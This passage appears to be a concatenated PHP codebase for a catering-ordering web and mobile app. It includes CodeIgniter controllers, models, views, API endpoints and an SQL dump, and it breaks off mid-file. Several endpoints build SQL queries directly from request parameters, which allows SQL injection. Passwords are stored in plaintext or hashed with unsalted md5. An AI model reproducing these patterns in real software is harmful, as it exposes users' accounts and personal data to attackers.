<?php
require_once 'koneksi.php';
$sql = "SELECT * FROM mitra WHERE verif = 1" ;
$result = array();
$r = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($r)) {
array_push($result, array(
"id_mitra" => $row['id_mitra'],
"nama_mitra" => $row['nama_mitra'],
"alamat" => $row['alamat'],
"no_telp" => $row['no_telp'],
"nama_pemilik" => $row['nama_pemilik'],
"nama_bank" => $row['nama_bank'],
"nomor_rekening" => $row['nomor_rekening'],
"nama_akun_bank" => $row['nama_akun_bank'],
"image" => $row['image'],
"latitude" => $row['latitude'],
"longitude" => $row['longitude']
// "id_paket" => $row['id_paket'],
// "nama_paket" => $row['nama_paket'],
// "deskripsi" => $row['deskripsi'],
// "harga" => $row['harga'],
// "foto" => $row['foto']
));
}
echo json_encode(array('result' => $result));
mysqli_close($con);
?> <file_sep>/katon/PHPMailer/coba.php
<?php
$hashed = <PASSWORD>';
if (password_verify('123', $hashed)) {
echo 'Password Benar !';
} else {
echo 'Password Salah !';
}
?><file_sep>/katon/register.php
<?php
/* ===== www.dedykuncoro.com ===== */
/* ========= KALAU PAKAI MYSQLI YANG ATAS SEMUA DI REMARK, TERUS YANG INI DI UNREMARK ======== */
include_once "koneksi.php";
class usr{}
$name = $_POST["name"];
$email = $_POST["email"];
$no_hp = $_POST["no_hp"];
$password = $_POST["password"];
$confirm_password = $_POST["confirm_password"];
if ((empty($name))) {
$response = new usr();
$response->success = 0;
$response->message = "Kolom name tidak boleh kosong";
die(json_encode($response));
} else if ((empty($email))) {
$response = new usr();
$response->success = 0;
$response->message = "Kolom email tidak boleh kosong";
die(json_encode($response));
} else if ((empty($no_hp))) {
$response = new usr();
$response->success = 0;
$response->message = "Kolom no_hp tidak boleh kosong";
die(json_encode($response));
} else if ((empty($password))) {
$response = new usr();
$response->success = 0;
$response->message = "Kolom password tidak boleh kosong";
die(json_encode($response));
} else if ((empty($confirm_password)) || $password != $confirm_password) {
$response = new usr();
$response->success = 0;
$response->message = "Konfirmasi password tidak sama";
die(json_encode($response));
} else {
if (!empty($email) && $password == $confirm_password){
$num_rows = mysqli_num_rows(mysqli_query($con, "SELECT * FROM users_table WHERE email='".$email."'"));
if ($num_rows == 0){
$query = mysqli_query($con, "INSERT INTO users_table (id, name, email, no_hp, password) VALUES(0,'".$name."', '".$email."', '".$no_hp."','".$password."')");
if ($query){
// $response = new usr();
// $response->success = 1;
// $response->message = "Register berhasil, silahkan verifikasi.";
require 'PHPMailer/PHPMailerAutoload.php';
$mail = new PHPMailer;
// Konfigurasi SMTP
$mail->isSMTP();
$mail->Host = 'smtp.gmail.com';
$mail->SMTPAuth = true;
$mail->Username = '<EMAIL>';
$mail->Password = '<PASSWORD>';
$mail->SMTPSecure = 'ssl';
$mail->Port = 465;
$mail->setFrom('<EMAIL>', 'CateringOnline');
$mail->addReplyTo('<EMAIL>', 'CateringOnline');
// Menambahkan penerima
$mail->addAddress($email);
// Subjek email
$mail->Subject = 'Verifikasi Akun Online Catering';
// Mengatur format email ke HTML
$mail->isHTML(true);
// Konten/isi email
$mailContent = "<h1>Verifikasi Akun</h1>
<p>Untuk verifikasi akun silhkan klik link di bawah</p><br/>
<a href='http://192.168.100.8/catering/katon/verifikasi.php?email=".$email."'>verifikasi</a>";
$mail->Body = $mailContent;
// Kirim email
if(!$mail->send()){
echo 'Pesan tidak dapat dikirim.';
echo 'Mailer Error: ' . $mail->ErrorInfo;
}else{
echo 'Register Berhasil, Silahkan Verifikasi';
}
// echo json_encode($response);
} else {
// $response = new usr();
// $response->success = 0;
echo "Register Gagal";
// die(json_encode($response));
}
} else {
// $response = new usr();
// $response->success = 0;
echo "email sudah ada";
// die(json_encode($response));
}
}
}
mysqli_close($con);
?> <file_sep>/application/models/MCatering.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class MCatering extends CI_Model{
function tambah_data($table,$data){
$this->db->insert($table,$data);
}
function cek_login($data){
$this->db->select('user.*');
$this->db->from('user');
$this->db->where($data);
$query = $this->db->get();
return $query->row();
}
function cek_id($email){
$this->db->select('user.*');
$this->db->from('user');
$this->db->where('email',$email);
$query = $this->db->get();
return $query->row();
}
function get_kapasitas(){
$this->db->where('deleted','0');
$query = $this->db->get('kapasitas');
return $query->result();
}
function get_pesanan_id($id){
$this->db->select('users_table.name as pemesan,pesan.*,mitra.nama_mitra,paket.nama_paket,paket.harga');
$this->db->from('pesan');
$this->db->join('paket','paket.id_paket=pesan.id_paket');
$this->db->join('mitra','paket.id_mitra=pesan.id_mitra');
$this->db->join('users_table','pesan.id=users_table.id');
$this->db->group_by('pesan.id_order');
$this->db->where('pesan.id_mitra',$id);
$this->db->where('pesan.verifikasi','1');
$this->db->or_where('pesan.verifikasi','0');
$query = $this->db->get();
return $query->result();
}
function get_histori_id($id){
$this->db->select('users_table.name as pemesan,pesan.*,mitra.nama_mitra,paket.nama_paket,paket.harga');
$this->db->join('paket','paket.id_paket=pesan.id_paket');
$this->db->join('mitra','paket.id_mitra=pesan.id_mitra');
$this->db->join('users_table','pesan.id=users_table.id');
$this->db->group_by('pesan.id_order');
$this->db->where('pesan.id_mitra',$id);
$this->db->where('pesan.verifikasi','2');
$query = $this->db->get('pesan');
return $query->result();
}
function get_histori_id_laporan($id,$mulai,$sampai){
$this->db->select('users_table.name as pemesan,pesan.*,mitra.nama_mitra,paket.nama_paket,paket.harga');
$this->db->join('paket','paket.id_paket=pesan.id_paket');
$this->db->join('mitra','paket.id_mitra=pesan.id_mitra');
$this->db->join('users_table','pesan.id=users_table.id');
$this->db->group_by('pesan.id_order');
$this->db->where('pesan.id_mitra',$id);
$this->db->where('pesan.verifikasi','2');
$this->db->where('date(pesan.tgl_transaksi) <= ',$sampai);
$this->db->where('date(pesan.tgl_transaksi) >= ',$mulai);
$query = $this->db->get('pesan');
return $query->result();
}
function get_pesanan_all(){
$this->db->select('pesan.*,mitra.nama_mitra,paket.nama_paket,paket.harga');
$this->db->join('paket','paket.id_paket=pesan.id_paket');
$this->db->join('mitra','paket.id_mitra=pesan.id_mitra');
$this->db->group_by('pesan.id_order');
$query = $this->db->get('pesan');
return $query->result();
}
function get_pesanan_All_laporan(){
$this->db->select('pesan.*,mitra.nama_mitra,paket.nama_paket,paket.harga');
$this->db->join('paket','paket.id_paket=pesan.id_paket');
$this->db->join('mitra','paket.id_mitra=pesan.id_mitra');
$this->db->group_by('pesan.id_order');
$query = $this->db->get('pesan');
return $query->result();
}
function get_pelanggan_all(){
$this->db->where('verifikasi','1');
$query = $this->db->get('users_table');
return $query->result();
}
function get_paket($id){
$this->db->where('paket.id_mitra',$id);
$this->db->where('paket.deleted','0');
// $this->db->where('ruang.verif','0');
$query = $this->db->get('paket');
return $query->result();
}
function getPaketAll(){
$this->db->where('paket.deleted','0');
// $this->db->where('ruang.verif','0');
$query = $this->db->get('paket');
return $query->result();
}
function getUserAll(){
$this->db->where('user.jenis_user !=','2');
// $this->db->where('ruang.verif','0');
$query = $this->db->get('user');
return $query->result();
}
function get_detail_paket($id){
$this->db->select('paket.*, mitra.nama_mitra');
$this->db->from('paket');
$this->db->join('mitra','paket.id_mitra = mitra.id_mitra');
$this->db->where('paket.id_paket',$id);
// $this->db->where('ruang.deleted','0');
// $this->db->where('ruang.verif','0');
$query = $this->db->get();
return $query->row();
}
function get_ruangan_all(){
$this->db->select('ruang.*, kapasitas.keterangan as keterangan , mitra.nama_mitra');
$this->db->from('ruang');
$this->db->join('kapasitas','ruang.kapasitas = kapasitas.id_kapasitas');
$this->db->join('mitra','ruang.id_mitra = mitra.id_mitra');
$this->db->where('ruang.deleted','0');
$query = $this->db->get();
return $query->result();
}
function get_ruangan_verif($id){
$this->db->where('id_mitra',$id);
$this->db->where('deleted','0');
$this->db->where('verif','1');
$query = $this->db->get('ruang');
return $query->result();
}
function get_mitra($id){
$this->db->where('id_user',$id);
$query = $this->db->get('mitra');
return $query->row();
}
function getMitraAll(){
$query = $this->db->get('mitra');
return $query->result();
}
function hapus($table,$id,$param){
$this->db->set('deleted','1');
$this->db->where($param,$id);
$this->db->update($table);
}
function hapus_pelanggan($id){
$this->db->set('verifikasi','0');
$this->db->where('id',$id);
$this->db->update('users_table');
}
function verifikasi($table,$id,$param){
$this->db->set('verif','1');
$this->db->where($param,$id);
$this->db->update($table);
}
function verif($table,$id,$param){
$this->db->set('verifikasi','1');
$this->db->where($param,$id);
$this->db->update($table);
}
function tolak($table,$id,$param){
$this->db->set('verifikasi','3');
$this->db->where($param,$id);
$this->db->update($table);
}
function selesai($table,$id,$param){
$this->db->set('verifikasi','2');
$this->db->where($param,$id);
$this->db->update($table);
}
function update_data($table,$id,$param,$data){
$this->db->where($param,$id);
$this->db->update($table,$data);
}
}<file_sep>/application/views/mitra/partials/sidebar.php
<ul class="navbar-nav bg-gradient-primary sidebar sidebar-dark accordion" id="accordionSidebar">
<!-- Sidebar - Brand -->
<a class="sidebar-brand d-flex align-items-center justify-content-center" href="index.html">
<div class="sidebar-brand-icon rotate-n-15">
<i class="fas fa-laugh-wink"></i>
</div>
<div class="sidebar-brand-text mx-3">Mitra</div>
</a>
<!-- Divider -->
<hr class="sidebar-divider my-0">
<!-- Nav Item - Dashboard -->
<li class="nav-item active">
<a class="nav-link" href="<?php echo base_url() ?>mitra">
<i class="fas fa-fw fa-tachometer-alt"></i>
<span>Dashboard</span></a>
</li>
<!-- Divider -->
<hr class="sidebar-divider">
<!-- Nav Item - Charts -->
<li class="nav-item">
<a class="nav-link" href="<?php echo base_url() ?>Mitra/datapaket">
<i class="fas fa-fw fa-table"></i>
<span>Paket Catering</span>
</a>
</li>
<li class="nav-item">
<?php if ($this->session->userdata('id_mitra') == '') { ?>
<a class="nav-link" href="#" data-toggle="modal" data-target="#please">
<?php }else{ ?>
<a class="nav-link" href="<?php echo base_url() ?>mitra/pesananmasuk">
<?php } ?>
<i class="fas fa-fw fa-chart-area"></i>
<span>Pesanan Masuk</span>
</a>
</li>
<!-- Nav Item - Tables -->
<li class="nav-item">
<a class="nav-link" href="<?php echo base_url() ?>Mitra/histori">
<i class="fas fa-fw fa-history"></i>
<span>Histori</span>
</a>
</li>
<!-- Divider -->
<hr class="sidebar-divider d-none d-md-block">
<!-- Sidebar Toggler (Sidebar) -->
<div class="text-center d-none d-md-inline">
<button class="rounded-circle border-0" id="sidebarToggle"></button>
</div>
</ul>
<!-- Modal -->
<div class="modal fade" id="please" role="dialog">
<div class="modal-dialog modal-sm">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
</div>
<div class="modal-body">
<p>Silahkan lengkapi data catering di halaman <a href="<?php echo base_url() ?>/mitra">dashboard</a>.</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div><file_sep>/application/views/frontend/partials/footer.php
<footer class="footer-area section_gap">
<div class="container">
<div class="row">
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-footer-widget">
<h6 class="footer_title">About Agency</h6>
<p>The world has become so fast paced that people don’t want to stand by reading a page of information, they would much rather look at a presentation and understand the message. It has come to a point </p>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-footer-widget">
<h6 class="footer_title">Navigation Links</h6>
<div class="row">
<div class="col-4">
<ul class="list_style">
<li><a href="#">Home</a></li>
<li><a href="#">Feature</a></li>
<li><a href="#">Services</a></li>
<li><a href="#">Portfolio</a></li>
</ul>
</div>
<div class="col-4">
<ul class="list_style">
<li><a href="#">Team</a></li>
<li><a href="#">Pricing</a></li>
<li><a href="#">Blog</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-footer-widget">
<h6 class="footer_title">Newsletter</h6>
<p>For business professionals caught between high OEM price and mediocre print and graphic output, </p>
<div id="mc_embed_signup">
<form target="_blank" action="https://spondonit.us12.list-manage.com/subscribe/post?u=1462626880ade1ac87bd9c93a&id=92a4423d01" method="get" class="subscribe_form relative">
<div class="input-group d-flex flex-row">
<input name="EMAIL" placeholder="Email Address" onfocus="this.placeholder = ''" onblur="this.placeholder = 'Email Address '" required="" type="email">
<button class="btn sub-btn"><span class="lnr lnr-location"></span></button>
</div>
<div class="mt-10 info"></div>
</form>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-6">
<div class="single-footer-widget instafeed">
<h6 class="footer_title">InstaFeed</h6>
<ul class="list_style instafeed d-flex flex-wrap">
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-01.jpg" alt=""></li>
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-02.jpg" alt=""></li>
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-03.jpg" alt=""></li>
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-04.jpg" alt=""></li>
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-05.jpg" alt=""></li>
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-06.jpg" alt=""></li>
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-07.jpg" alt=""></li>
<li><img src="<?php echo base_url()?>assets/image/instagram/Image-08.jpg" alt=""></li>
</ul>
</div>
</div>
</div>
<div class="border_line"></div>
<div class="row footer-bottom d-flex justify-content-between align-items-center">
<p class="col-lg-8 col-sm-12 footer-text m-0"><!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->
Copyright ©<script>document.write(new Date().getFullYear());</script> All rights reserved | This template is made with <i class="fa fa-heart-o" aria-hidden="true"></i> by <a href="https://colorlib.com" target="_blank">Colorlib</a>
<!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. --></p>
<div class="col-lg-4 col-sm-12 footer-social">
<a href="#"><i class="fa fa-facebook"></i></a>
<a href="#"><i class="fa fa-twitter"></i></a>
<a href="#"><i class="fa fa-dribbble"></i></a>
<a href="#"><i class="fa fa-behance"></i></a>
</div>
</div>
</div>
</footer><file_sep>/katon/profile.php
<?php
require_once 'koneksi.php';
$id = $_GET['id'];
$query = mysqli_query($con,"SELECT * FROM users_table WHERE id= '$id'") ;
$row = mysqli_fetch_assoc($query);
echo json_encode($row);
mysqli_close($con);
?><file_sep>/application/controllers/Login.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Login extends CI_Controller{
public function __construct(){
parent::__construct();
$this->load->model('MCatering');
}
public function index()
{
$this->load->view('login');
}
public function login(){
$data['email'] = $_POST['email'];
$data['password'] = md5($_POST['password']);
$data['verifikasi'] = '1';
$cek_login = $this->MCatering->cek_login($data);
if (!isset($cek_login)) {
$this->session->set_flashdata('alert','gagal');
redirect('login');
}else{
$datauser = array(
'user_id' => $cek_login->id_user,
'nama' => $cek_login->nama,
'no_hp' => $cek_login->no_hp,
'email' => $cek_login->email,
'jenis_user' => $cek_login->jenis_user
);
$this->session->set_userdata($datauser);
if ($cek_login->jenis_user == 0) {
redirect('frontend');
}elseif($cek_login->jenis_user == 1){
$cek_mitra = $this->MCatering->get_mitra($cek_login->id_user);
if (!empty($cek_mitra)) {
$datauser2 = array(
'id_mitra' => $cek_mitra->id_mitra,
'nama_mitra' => $cek_mitra->nama_mitra,
'alamat_mitra' => $cek_mitra->alamat,
'no_telp_mitra' => $cek_mitra->no_telp
);
$this->session->set_userdata($datauser2);
}
// echo json_encode($cek_mitra);
redirect('mitra');
}else{
redirect('SuperAdmin');
}
}
}
public function logout(){
$this->session->sess_destroy();
redirect ('login');
}
}<file_sep>/katon/batal.php
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$id_order = $_POST['id_order'];
$sql = "UPDATE pesan SET verifikasi = '2' WHERE id_order = '$id_order';";
require_once('koneksi.php');
if (mysqli_query($con,$sql)) {
echo "Berhasil";
}else{
echo mysqli_error();
}
mysqli_close($con);
}
?><file_sep>/application/controllers/Mitra.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Mitra extends CI_Controller {
public function __construct(){
parent::__construct();
$this->load->library(array('googlemaps'));
$this->load->model('MCatering');
}
public function index()
{
$config['map_div_id'] = "map-add";
$config['map_height'] = "250px";
$config['center'] = '-6.880029,109.124192';
$config['zoom'] = '12';
$config['map_height'] = '300px;';
$this->googlemaps->initialize($config);
$marker = array();
$marker['position'] = '-6.880029,109.124192';
$marker['draggable'] = true;
$marker['ondragend'] = 'setMapToForm(event.latLng.lat(), event.latLng.lng());';
$this->googlemaps->add_marker($marker);
$data['map'] = $this->googlemaps->create_map();
$id = $this->session->userdata('user_id');
$data['mitra'] = $this->MCatering->get_mitra($id);
$data['content'] = $this->load->view('mitra/pages/dashboard',$data,true);
$this->load->view('mitra/default',$data);
}
public function pesananmasuk()
{
$id_mitra = $this->session->userdata('user_id');
$data2['mitra'] = $this->MCatering->get_mitra($id_mitra);
$data2['pesanan'] = $this->MCatering->get_pesanan_id($data2['mitra']->id_mitra);
$data['content'] = $this->load->view('mitra/pages/data_pesanan',$data2,true);
$this->load->view('mitra/default',$data);
}
public function histori()
{
$id_mitra = $this->session->userdata('user_id');
$data2['mitra'] = $this->MCatering->get_mitra($id_mitra);
$data2['pesanan'] = $this->MCatering->get_histori_id($data2['mitra']->id_mitra);
$data['content'] = $this->load->view('mitra/pages/data_histori',$data2,true);
$this->load->view('mitra/default',$data);
// echo json_encode($id_mitra);
}
public function datapaket()
{
$id_mitra = $this->session->userdata('id_mitra');
$data2['mitra'] = $this->MCatering->get_mitra($id_mitra);
// $data2['kapasitas'] = $this->MCatering->get_kapasitas();
$data2['paket'] = $this->MCatering->get_paket($id_mitra);
$data['content'] = $this->load->view('mitra/pages/data_paket',$data2,true);
$this->load->view('mitra/default',$data);
// echo json_encode($data2);
}
public function update_paket(){
$id = $this->input->post('id');
$data['nama_paket'] = $this->input->post('nama');
$data['harga'] = $this->input->post('harga');
$data['deskripsi'] = $this->input->post('deskripsi');
if (!empty($_FILES["foto"]['name'])) {
$nama_file = $_FILES["foto"]['name'];
$ext = pathinfo($nama_file, PATHINFO_EXTENSION);
$nama_upload = $new_name.".".$ext;
$data['foto']=$nama_upload;
$config['upload_path'] = './foto_paket/';
$config['allowed_types'] = 'gif|jpg|png';
$config['max_size'] = 5000;
$config['file_name'] = $new_name;
$this->load->library('upload', $config);
if ( ! $this->upload->do_upload('foto')){
$error = array('error' => $this->upload->display_errors());
$this->session->set_flashdata('alert','gagal');
// redirect('guru/indonesia_apetizer');
// redirect($_SERVER['HTTP_REFERER']);
echo json_encode($error);
}else{
$datas = array('upload_data' => $this->upload->data());
$tabel = 'paket';
$this->MCatering->update_data('paket',$id,'id_paket',$data);
$this->session->set_flashdata('alert','berhasil');
redirect($_SERVER['HTTP_REFERER']);
}
}else{
$this->MCatering->update_data('paket',$id,'id_paket',$data);
$this->session->set_flashdata('alert','berhasil');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function verifikasi($id){
$tabel = 'pesan';
$param = 'id_order';
$this->MCatering->verif($tabel,$id,$param);
redirect('mitra/pesananmasuk');
}
public function tolak($id){
$tabel = 'pesan';
$param = 'id_order';
$this->MCatering->tolak($tabel,$id,$param);
redirect('mitra/pesananmasuk');
}
public function selesai($id){
$tabel = 'pesan';
$param = 'id_order';
$this->MCatering->selesai($tabel,$id,$param);
redirect('mitra/pesananmasuk');
}
public function hapus_paket(){
$id = $this->input->post('id');
$table = 'paket';
$param = 'id_paket';
$this->MCatering->hapus($table,$id,$param);
redirect('Mitra/datapaket');
}
public function cetak_laporan(){
$mulai = $this->input->post('mulai');
$sampai = $this->input->post('sampai');
$id_mitra = $this->session->userdata('user_id');
$data2['mitra'] = $this->MCatering->get_mitra($id_mitra);
$data2['pesanan'] = $this->MCatering->get_histori_id_laporan($data2['mitra']->id_mitra,$mulai,$sampai);
$this->load->view('mitra/pages/laporan_histori',$data2);
}
public function save_paket(){
$id_mitra = $this->session->userdata('id_mitra');
$new_name = 'paket_mitra'.$id_mitra.time();
$nama_file = $_FILES["foto"]['name'];
$ext = pathinfo($nama_file, PATHINFO_EXTENSION);
$nama_upload = $new_name.".".$ext;
$data['nama_paket'] = $_POST['nama'];
$data['id_mitra'] = $id_mitra;
$data['harga'] = $_POST['harga'];
$data['kategori'] = $_POST['kategori'];
$data['deskripsi'] = $_POST['deskripsi'];
$data['foto']=$nama_upload;
$config['upload_path'] = './foto_paket/';
$config['allowed_types'] = 'gif|jpg|png';
$config['max_size'] = 5000;
$config['file_name'] = $new_name;
$this->load->library('upload', $config);
if ( ! $this->upload->do_upload('foto')){
$error = array('error' => $this->upload->display_errors());
$this->session->set_flashdata('alert','gagal');
// redirect('guru/indonesia_apetizer');
// redirect($_SERVER['HTTP_REFERER']);
echo json_encode($error);
}else{
$datas = array('upload_data' => $this->upload->data());
$tabel = 'paket';
$this->MCatering->tambah_data($tabel,$data);
$this->session->set_flashdata('alert','berhasil');
redirect($_SERVER['HTTP_REFERER']);
}
}
public function save_mitra(){
$data['id_user'] = $this->session->userdata('user_id');
$id_mitra = $this->session->userdata('id_mitra');
$new_name = 'foto_mitra'.$id_mitra.time();
$nama_file = $_FILES["foto"]['name'];
$ext = pathinfo($nama_file, PATHINFO_EXTENSION);
$nama_upload = $new_name.".".$ext;
$data['nama_mitra'] = $_POST['nama'];
$data['longitude'] = $_POST['longitude'];
$data['latitude'] = $_POST['latitude'];
$data['alamat'] = $_POST['alamat'];
$data['no_telp'] = $_POST['nomor'];
$data['nama_pemilik'] = $_POST['pemilik'];
if ($_POST['bank']=='others') {
$data['nama_bank'] = $_POST['bank2'];
}else{
$data['nama_bank'] = $_POST['bank'];
}
$data['nomor_rekening'] = $_POST['rekening'];
$data['nama_akun_bank'] = $_POST['nama_rekening'];
$data['image']=$nama_upload;
$config['upload_path'] = './katon/img/';
$config['allowed_types'] = 'gif|jpg|png';
$config['max_size'] = 5000;
$config['file_name'] = $new_name;
$tabel = 'mitra';
$this->load->library('upload', $config);
$this->upload->do_upload('foto');
$this->MCatering->tambah_data($tabel,$data);
$cek_mitra = $this->MCatering->get_mitra($this->session->userdata('user_id'));
if (!empty($cek_mitra)) {
$datauser2 = array(
'id_mitra' => $cek_mitra->id_mitra,
'nama_mitra' => $cek_mitra->nama_mitra,
'alamat_mitra' => $cek_mitra->alamat,
'no_telp_mitra' => $cek_mitra->no_telp
);
$this->session->set_userdata($datauser2);
}
$this->session->set_flashdata('alert','berhasil');
redirect($_SERVER['HTTP_REFERER']);
}
public function detail(){
$id = $_POST['id_paket'];
// $id = 1;
// $table = 'ruang';
$data = $this->MCatering->get_detail_paket($id);
echo '
<table class="table table-striped">
<tr>
<td colspan="3"><img style="text-align: center;" class="img-thumbnail" src="'. base_url().'foto_paket/'. $data->foto.'"></td>
</tr>
<tr>
<td>Nama Paket</td>
<td>:</td>
<td>'.$data->nama_paket.'</td>
</tr>
<td>Nama Mitra</td>
<td>:</td>
<td>'.$data->nama_mitra.'</td>
</tr>
<tr>
<td>Kapasitas</td>
<td>:</td>
<td>'.$data->deskripsi.'</td>
</tr>
<tr>
<td>Harga</td>
<td>:</td>
<td>Rp.'.$data->harga.'</td>
</tr>
<tr>
</tr>
</table>';
}
}
<file_sep>/katon/detailcatering.php
<?php
require_once 'koneksi.php';
$id_mitra = $_GET['id_mitra'];
$sql = "SELECT mitra.id_mitra, mitra.longitude, mitra.latitude, paket.id_paket, paket.nama_paket, paket.deskripsi, paket.harga, paket.foto FROM paket JOIN mitra on paket.id_mitra=mitra.id_mitra wHERE paket.id_mitra='$id_mitra' " ;
$result = array();
$r = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($r)) {
array_push($result, array(
"id_paket" => $row['id_paket'],
"nama_paket" => $row['nama_paket'],
"longitude" => $row['longitude'],
"latitude" => $row['latitude'],
"deskripsi" => $row['deskripsi'],
"harga" => $row['harga'],
"foto" => $row['foto']
));
}
echo json_encode(array('result' => $result));
mysqli_close($con);
?><file_sep>/katon/editprofile.php
<?php
/* ===== www.dedykuncoro.com ===== */
/* ========= KALAU PAKAI MYSQLI YANG ATAS SEMUA DI REMARK, TERUS YANG INI DI UNREMARK ======== */
include_once "koneksi.php";
$id = $_POST['id'];
$name = $_POST['name'];
$email = $_POST['email'];
$no_hp = $_POST['no_hp'];
if ((empty($id))) {
echo "Id kosong";
}else { $query = mysqli_query($con, "UPDATE users_table SET name = '$name',email='$email',no_hp='$no_hp' WHERE id = '$id'");
if ($query){
echo "Edit Profile berhasil.";
} else {
echo "QueryError";
}
}
mysqli_close($con);
?><file_sep>/database/pesan.sql
-- phpMyAdmin SQL Dump
-- version 4.9.0.1
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: Jul 04, 2019 at 11:56 PM
-- Server version: 10.3.15-MariaDB
-- PHP Version: 7.2.19
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET AUTOCOMMIT = 0;
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `catering`
--
-- --------------------------------------------------------
--
-- Table structure for table `pesan`
--
CREATE TABLE `pesan` (
`id_order` int(11) NOT NULL,
`id_user` int(11) NOT NULL,
`id_mitra` int(11) NOT NULL,
`id_paket` int(11) NOT NULL,
`jml_pesan` int(11) NOT NULL,
`total_harga` int(11) NOT NULL,
`tgl_pesan` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data for table `pesan`
--
INSERT INTO `pesan` (`id_order`, `id_user`, `id_mitra`, `id_paket`, `jml_pesan`, `total_harga`, `tgl_pesan`) VALUES
(1, 3, 1, 1, 30, 300000, '2019-07-04 21:50:15'),
(2, 5, 2, 2, 15, 15000, '2019-07-04 21:50:19');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `pesan`
--
ALTER TABLE `pesan`
ADD PRIMARY KEY (`id_order`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `pesan`
--
ALTER TABLE `pesan`
MODIFY `id_order` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>/application/views/mitra/pages/laporan_histori.php
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body onload="window.print()">
<h1 align="center">Data Transaksi Catering</h1>
<br>
<table width="100%" style="border-collapse: collapse;" border="1">
<thead>
<tr>
<th>No</th>
<th>Nama Paket</th>
<th>Mitra</th>
<th>Jumlah</th>
<th>Total</th>
<th>Tanggal</th>
</tr>
</thead>
<tbody style="text-align: center">
<?php if ($pesanan != '') { ?>
<?php $no=1; foreach ($pesanan as $r) { ?>
<tr>
<td><?php echo $no++; ?></td>
<td><?php echo $r->nama_paket; ?></td>
<td><?php echo $r->nama_mitra; ?></td>
<td><?php echo $r->jml_pesan; ?></td>
<td><?php echo ($r->jml_pesan * $r->harga); ?></td>
<td><?php echo $r->tgl_transaksi; ?></td>
</tr>
<?php } ?>
<?php }else{ ?>
<h1>tidak ditemukan</h1>
<?php } ?>
</tbody>
</table>
<h4 style="float: right; margin-right: 50px">Penanggung Jawab <br><br><br><br><br>
<?php echo $mitra->nama_pemilik; ?></h4>
</body>
</html><file_sep>/application/views/frontend/pages/register.php
<section class="banner_area">
<div class="booking_table d_flex align-items-center">
<div class="overlay bg-parallax" data-stellar-ratio="0.9" data-stellar-vertical-offset="0" data-background=""></div>
<div class="container">
<center>
<div class="col-4">
<div class="comment-form">
<img style="height: 5%" src="<?php echo base_url() ?>assets/image/co.png">
<h1>Register</h1>
<form action="<?php echo base_url() ?>register" method="post">
<div class="form-group">
<input type="text" name="nama" class="form-control" id="username" placeholder="nama lengkap" onfocus="this.placeholder = ''" onblur="this.placeholder = 'nama lengkap'">
</div>
<div class="form-group">
<input type="text" name="email" class="form-control" id="email" placeholder="email" onfocus="this.placeholder = ''" onblur="this.placeholder = 'email'">
</div>
<div class="form-group">
<input type="telp" name="nomor" class="form-control" id="hp" placeholder="nomor handphone" onfocus="this.placeholder = ''" onblur="this.placeholder = 'nomor handphone'">
</div>
<div class="form-group">
<input type="<PASSWORD>" class="form-control mb-10" rows="5" name="password" placeholder="<PASSWORD>" onfocus="this.placeholder = ''" onblur="this.placeholder = '<PASSWORD>'" required="">
</div>
<button type="submit" class="primary-btn button_hover">Register</button>
</form>
</div>
</div>
</center>
</div>
</div>
</section><file_sep>/katon/transaksi.php
<?php
include_once "koneksi.php";
$id = $_POST['id'];
$id_mitra = $_POST['id_mitra'];
$id_paket = $_POST['id_paket'];
$jml_pesan = $_POST['jml_pesan'];
$alamat_pesan = $_POST['alamat_pesan'];
$tgl_pesan = $_POST['tgl_pesan'];
$jam_pesan = $_POST['jam_pesan'];
if ((empty($jml_pesan))) {
echo "Masukkan Jumlah Pesanan ";
}else if ((empty($alamat_pesan))) {
echo "Masukkan Alamat Pengiriman";
}else if ((empty($tgl_pesan))) {
echo "Masukkan Tanggal Pengiriman";
}else if ((empty($jam_pesan))) {
echo "Masukkan Waktu Pengiriman";
} else {
